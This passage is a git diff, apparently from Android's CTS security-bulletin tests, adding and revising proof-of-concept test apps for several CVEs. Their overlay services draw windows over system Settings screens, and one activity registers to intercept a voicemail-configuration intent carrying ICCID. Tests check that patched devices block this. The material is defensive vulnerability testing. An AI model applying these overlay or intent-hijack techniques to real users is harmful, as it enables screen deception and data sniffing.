+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
new file mode 100644
index 00000000000..d8563d45db9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e840158..7ff13699738 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@ package {
android_test_helper_app {
name: "CVE-2021-0523",
- srcs: [
- "src/android/security/cts/CVE_2021_0523/PocActivity.java",
- "src/android/security/cts/CVE_2021_0523/PocService.java",
- ],
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
test_suites: [
"cts",
"vts10",
"sts",
- "general-tests",
],
- sdk_version: "system_current",
static_libs: [
- "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 594e42765e8..e21b9b700fd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
android:versionName="1.0">
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<application
android:allowBackup="true"
android:label="CVE-2021-0523"
android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
<service
android:name=".PocService"
android:enabled="true"
android:exported="false" />
- <activity android:name=".PocActivity">
+ <activity android:name=".PocActivity"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0523" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 00000000000..dcdbe0aa788
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 00000000000..e0fc3370936
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.io.IOException;
+import java.util.regex.Pattern;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_PKG_WIFI = "com.android.settings";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+ String activityDump = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ if (Settings.canDrawOverlays(getApplicationContext())) {
+ Intent intent = new Intent(getApplicationContext(), PocService.class);
+ context.startService(intent);
+ } else {
+ try {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ /* Start the launcher activity */
+ context.startActivity(intent);
+ /* Wait for the WifiScanModeActivity */
+ if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Start the overlay service */
+ startOverlayService();
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Pattern pattern = Pattern.compile(
+ getApplicationContext().getResources().getString(R.string.overlay_button),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ /* Wait for an object of the overlay window */
+ if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Check if the currently running activity is WifiScanModeActivity */
+ try {
+ activityDump = mDevice.executeShellCommand("dumpsys activity");
+ } catch (IOException e) {
+ throw new RuntimeException("Could not execute dumpsys activity command");
+ }
+ Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n");
+ if (!activityPattern.matcher(activityDump).find()) {
+ return;
+ }
+ String message = "Device is vulnerable to b/174047492 hence any app with "
+ + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
+ assertNull(message, mDevice.findObject(selector));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
index 0ba69f5bc8f..3e35266716d 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java
@@ -17,61 +17,22 @@
package android.security.cts.cve_2021_0523;
import android.app.Activity;
+import android.content.ActivityNotFoundException;
import android.content.Intent;
-import android.content.Context;
import android.net.wifi.WifiManager;
-import android.os.Build;
import android.os.Bundle;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.provider.Settings;
public class PocActivity extends Activity {
- private WakeLock mScreenLock;
- private Context mContext;
-
- private void startOverlayService() {
- if (Settings.canDrawOverlays(this)) {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- startService(intent);
- } else {
- try {
- Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
- startActivityForResult(intent, 1);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
-
- private void stopOverlayService() {
- Intent intent = new Intent(PocActivity.this, PocService.class);
- stopService(intent);
- }
@Override
protected void onCreate(Bundle savedInstanceState) {
- mContext = this.getApplicationContext();
- PowerManager pm = mContext.getSystemService(PowerManager.class);
- mScreenLock = pm.newWakeLock(
- PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
- "PocActivity");
- mScreenLock.acquire();
- try {
- Thread.sleep(6000);
- } catch (Exception e) {
- e.printStackTrace();
- }
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- startOverlayService();
Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE);
- startActivityForResult(intent, 2);
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- mScreenLock.release();
+ try {
+ startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ // do nothing
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
index bef2beb81ed..9b013b85944 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java
@@ -84,9 +84,8 @@ public class PocService extends Service {
private void showFloatingWindow() {
if (Settings.canDrawOverlays(this)) {
mButton = new Button(getApplicationContext());
- mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE
+ mButton.setText(getResources().getString(R.string.overlay_button));
mWindowManager.addView(mButton, mLayoutParams);
- mButton.setOnTouchListener(new FloatingOnTouchListener());
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
@@ -96,25 +95,4 @@ public class PocService extends Service {
mButton.setTag(mButton.getVisibility());
}
}
-
- private static class FloatingOnTouchListener implements View.OnTouchListener {
-
- @Override
- public boolean onTouch(View view, MotionEvent event) {
- view.setDrawingCacheEnabled(true);
- view.buildDrawingCache();
- Bitmap bitmap = view.getDrawingCache();
- int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2);
- int red = Color.red(pixel);
- int green = Color.green(pixel);
- int blue = Color.blue(pixel);
- view.setDrawingCacheEnabled(false);
- if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) {
- throw new RuntimeException(
- "Device is vulnerable to b/174047492 hence any app with " +
- "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen");
- }
- return false;
- }
- }
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
index 73c8e10e005..3ffb7df9664 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -16,30 +16,34 @@
package android.security.cts.cve_2021_0586;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
+
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.BySelector;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
-import java.io.IOException;
-import java.util.regex.Pattern;
+
import org.junit.Before;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
+import java.io.IOException;
+import java.util.regex.Pattern;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
- private static final String TEST_PKG_BT = "com.android.settings";
private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private Pattern overlayTextPattern;
private UiDevice mDevice;
String activityDump = "";
@@ -68,26 +72,29 @@ public class DeviceTest {
final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
assertNotNull(intent);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
/* Start the launcher activity */
context.startActivity(intent);
- Pattern pattern = Pattern.compile(
+ overlayTextPattern = Pattern.compile(
getApplicationContext().getResources().getString(R.string.overlay_button),
Pattern.CASE_INSENSITIVE);
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
/* Wait for the overlay window */
- if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
/* Start the DevicePickerActivity */
startDevicePickerActivity();
- }
- @Test
- public void testOverlayButtonPresence() {
- BySelector selector = By.pkg(TEST_PKG_BT);
- /* Wait for an object of DevicePickerActivity */
- if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ /* Wait until the object of launcher activity is gone */
+ if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
/* Check if the currently running activity is DevicePickerActivity */
try {
activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@ public class DeviceTest {
if (!activityPattern.matcher(activityDump).find()) {
return;
}
+
+ /* Failing the test as fix is not present */
String message = "Device is vulnerable to b/182584940 hence any app with "
+ "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
- assertNotNull(message, mDevice.findObject(selector));
+ fail(message);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
new file mode 100644
index 00000000000..770b5a2089e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+android_test_helper_app {
+ name: "CVE-2021-0642",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 00000000000..fadda577403
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.cve_2021_0642"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0642"
+ android:supportsRtl="true">
+
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 00000000000..7460b96ae6b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 00000000000..8fc235ba9da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ static final String APP_TITLE = "CVE-2021-0642";
+ static final String PACKAGE_NAME = "com.android.phone";
+ static final int LAUNCH_TIMEOUT_MS = 20000;
+
+ @Test
+ public void testCVE_2021_0642() {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertThat(context, notNullValue());
+ PackageManager packageManager = context.getPackageManager();
+ assertThat(packageManager, notNullValue());
+ assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(e);
+ }
+
+ // Check if "com.android.phone" exists on the system
+ try {
+ packageManager.getPackageUid(PACKAGE_NAME, 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ assumeNoException(e);
+ }
+
+ // Wait for activity (which is part of package "com.android.phone") that
+ // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+ boolean isVoicemailVisible =
+ device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+ // To check if PocActivity was launched
+ BySelector selector = By.enabled(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ boolean isPocActivityVisible = false;
+ for (UiObject2 o : objects) {
+ String visibleText = o.getText();
+ if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+ isPocActivityVisible = true;
+ break;
+ }
+ }
+ device.pressHome();
+
+ assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+ String outputMsg = "Device is vulnerable to b/185126149 "
+ + "hence sensitive Iccid could be sniffed by intercepting "
+ + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+ assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 00000000000..1a335c76444
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
new file mode 100644
index 00000000000..c4589762fe8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-0953",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 00000000000..ddc942fd44a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
